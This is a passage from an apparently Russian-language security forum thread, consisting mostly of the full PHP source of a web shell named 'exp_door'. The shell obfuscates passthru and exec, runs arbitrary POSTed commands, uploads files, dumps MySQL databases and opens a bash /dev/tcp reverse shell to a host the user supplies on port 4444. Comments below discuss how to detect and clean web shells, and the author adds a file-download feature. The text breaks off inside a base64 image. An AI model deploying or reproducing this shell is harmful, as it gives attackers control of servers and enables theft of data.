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" />

<?php
$a1='pas'.'sth'.'ru';
$b2='ex'.'ec';
$id="id";
$pwd=__DIR__;
$uname=php_uname();
$php=phpversion();
$temp_file=sys_get_temp_dir();
$down="which get;which wget;which lynx;which curl;which fetch;which links;";


echo '<pre>';
echo 'id    | ';
echo $a1($id);
echo 'pwd   | '.$pwd.'<br>';
echo 'uname | '.$uname.'<br>';
echo 'tmp   | '.$temp_file.' '.substr(sprintf('%o', fileperms($temp_file)), -4).'<br>';
echo 'php   | '.$php.'<br>';
echo 'server| '.$_SERVER['SERVER_NAME'].' '.$_SERVER["SERVER_ADDR"].' '.$_SERVER['SERVER_SOFTWARE'];
echo '</pre>';
?>
<pre><p style="float:right;margin-block-end:3px;">exp_door v1.0</p></pre>
<hr>
<form style="display:inline" method="POST">
  cmd: <input type=text name=cmd>
</form>

<form style="display:inline" method="POST">
    <input type="submit" name="info" value="phpinfo"/>
    <input type="submit" name="ip" value="my ip"/>
    <input type="submit" name="down" value="downloaders"/>
</form>

<hr>

<div style="float: left;display:block;width:208px">
<pre>
<form method='POST'>
 <label><b>Base64 encode/decode:</b></label>
 <input style="width:178px" type=text name='base64'>
 <input type='submit' name='submit' value='Encode'><input type='submit' name='submit2' value='Decode'>
</form>
</pre>
</div>

<div style="float: left;display:block;width:208px">
<pre>
<form  method='POST'>
 <label><b>URL encode/decode:</b></label>
 <input style="width:178px" type='text' name='url'>
 <input type='submit' name='submit_u' value='Encode'><input type='submit' name='submit_u2' value='Decode'>  
</form>
</pre>
</div>

<div style="float: left;display:block;width:208px">
<pre>
<form  method='POST'>
 <label><b>BackConnect to 4444:</b></label>  
 <input style="width:178px" type="text" name="host_" placeholder="Enter host" required>
 <input type="submit" name="reverse" value="reverse">
</form>
</pre>
</div>

<div style="float: left;display:block">
<pre>
<form method="POST" enctype='multipart/form-data'>
 <label><b>Uploader:</b></label>
 <input type='file' name='filename' ><br/>
 <input type='submit' value='Upload'>
</form>
<pre>
</div>

<hr style="clear:both">
<form style="float:left;margin-right:20px;"method="POST">

    <p><input type="password" name="name" placeholder="DB name" required></p>
        <p><input type="password" name="user" placeholder="DB user" required></p>
        <p><input type="password" name="pass" placeholder="DB pass" required></p>  
        <p><input type="password" name="host" placeholder="MySQL host" required></p>
    <p><button type="submit" name="DB">Save DB to file.zip</button></p>  
</form>


<?php
if ($_FILES && $_FILES['filename']['error']== UPLOAD_ERR_OK)
{
    $name = $_FILES['filename']['name'];
    move_uploaded_file($_FILES['filename']['tmp_name'], $name);
    echo '<p style="color: red">'.'File Uploaded'.'</p>'; ;
}

    if(isset($_POST['info']))
    {echo phpinfo();}
    if(isset($_POST['ip']))
    {print $_SERVER['REMOTE_ADDR'];}
    if(isset($_POST['down']))
    {
echo '<pre>';
echo $a1($down);
echo '</pre>';
}

    if (isset($_POST['submit'])) {
    $base64 = $_POST['base64'];
    $encode = base64_encode($base64);
echo '<p style="color: red">'."Encode base64: ".'</p>'.$encode;
}
    if (isset($_POST['submit2'])) {
    $base64_d = $_POST['base64'];
    $decode = base64_decode($base64_d);
echo '<p style="color: red">'."Decode base64: ".'</p>'.htmlentities($decode);
}

if (isset($_POST['submit_u'])) {
  $url = $_POST['url'];
  $encode_u = urlencode($url);
  echo '<p style="color: red">'."Encode url: ".'</p>'.$encode_u;
}
if (isset($_POST['submit_u2'])) {
  $url_d = $_POST['url'];
  $decode_u = urldecode($url_d);
  echo '<p style="color: red">'."Decode url: ".'</p>'.htmlentities($decode_u);
}

if (isset($_POST['reverse'])) {  
   $back = $_POST['host_'];
   $a1("bash -c 'bash -i &> /dev/tcp/$back/4444 0>&1'");
 
}
?>

<pre>
<div style="float:left;margin-bottom:20px">
<?php
if(isset($_POST['cmd'])){
$a1($_POST['cmd']);
}
?>
</div>
</pre>

<?php

if(isset($_POST['DB'])){
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$link = new mysqli($host, $user, $pass, $name);

if ($link->connect_error) {
    die("<b>Database access is not available:</b><br>".$link->connect_error);
}else
    {$b2('mysqldump --user='.$user.' --password='.$pass.' --host='.$host.' '.$name.' > file.zip');echo 'Database access<br>';}
}
?>

</body>
</html>
 
Последнее редактирование модератором:

fuzzz

Green Team
03.02.2019
249
470
BIT
2
Хорошая статья, хотелось бы еще почитать о том как чистят веб-шеллы. Не прибегая, к созданию своего.
 
  • Нравится
Реакции: neoline.kmv

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Хорошая статья, хотелось бы еще почитать о том как чистят веб-шеллы. Не прибегая, к созданию своего.
По чистке шеллов схема примерно следующая:
1. Быстрый анализ сканерами
2. Запросы вручную
3. В заключение поиск дыры, и её закрытие, иначе весь труд будет напрасен.
4. Создание бэкапа сайта и базы после чистки.

Пункт 2 самый интересный, по нему действительно получится целая статья. Запросов много, так как злоумышленники довольно хитры. Большие веб-шеллы обнаружить проще из-за развёрнутого функционала, есть за что зацепиться. Мини-шелл же можно сделать реально невидимкой, в логах не будет никаких запросов, и в теле шелла сложно найти аномалию. Поэтому выявить подобное очень непросто.

Я вас услышал, взял просьбу на заметку.
 

1984

Green Team
08.03.2018
137
490
BIT
1
Спасибо, ТС! Хорошая информация для размышления на праздники. До этого как-то особо и не задумывался о дырах на сайте...
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Немного подредактировал программу, добавил Downloader для скачивания файлов с сервера.

ro.png


Для успешного скачивания нужно ввести полный путь и название файла. Если нужные файлы находятся в директории с шеллом, тогда путь вводить не обязательно. Также у файла должны быть права на чтение. Если название с путями введены верно, то появится диалоговое окно браузера, иначе ничего не произойдёт. И не забудьте в диалоговом окне поменять Open на Save.

root.png


PHP:
<?php

if(isset($_POST['downl'])){
$file = $_POST['files'];
  if (file_exists($file)) {
      if (ob_get_level()) {
      ob_end_clean();
    }  
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename=' . basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));  
    readfile($file);
    exit;
  }
}
?>
<!DOCTYPE html>
<html style="background-color: #D3D3D3;">
    <head>
        <title>exp_door</title>
<link href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAOKAAADigGnjPUfAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAg9JREFUeNrEV4GRgyAQjJkUQAl+BW8JlGAJfgeWQAmW4HdgCZRgCSmBDnhufsnfXBDBOB9nbhI54Ja95cDGe39553Mt6dQ0TUv2NgDhoeDdBrjuPwC4YHrDN70CoCnVQFgpgWhDfyfaaYKP0H4/AuAmJusF1RRsRlBLFvpoAeIL7YZ+q4EQA2CBghtmNBE51mAKKfARFNiIY8m3wE/jhujbs7zzNxD9GfFu8B6N8q9Y/xZMeTD3MgAVWWBtgwCxchDoE0FMLwEQk/GVdgicBAF/9LW5+a8JtQ/BxmAKTRa/mumGGKEg32j6FNtRiRqyL0Kx6iXSzsQ37zBE1qGNs6OrU4Ad4RFcscnGRF+uiVkI1Ul9lAKIkw6JFd35qhhDMSAXqDkkQraKUTDiBZBJpECaOgrAyvwhmK+w9XAdYJTrDWZKzRwVoecaED7NynSpxfKtahlIVTldwIRDyjT0MzPdqBIAs5jQJhS+mfvkSv92li0B0FYElDtDZcq6eRJ3pnO3k+s10dZvpGsUh5upOYy0MCVOywjEJcY9FSX0f6ThVnBhsRmfC4fWgsNoFe5RvGt2y6q+lJ7xxKtax07Yy6X06rSTor0UOATupVbOAKDYjhkSu+mhG6TpXnUjKgRh+Ep3akt/OgBRPR2KjoL1zDdU3wkrUzFlClSfGtec/XWMj1jN7oI2t5Wbd3+e/wgwAGD4W8SG5D6lAAAAAElFTkSuQmCC" rel="icon" type="image/png" />
<style>
hr {
border:1px !important;height: 1px;width:100% !important;background-color:#7d7171 !important;color:#7d7171 !important;
}
body {font-family: sans-serif !important;color:black !important;}
pre {margin: 0;}
</style>
    </head>
<body style="background-color: #D3D3D3;">

<img style="float:right" src="data:image/png;base64,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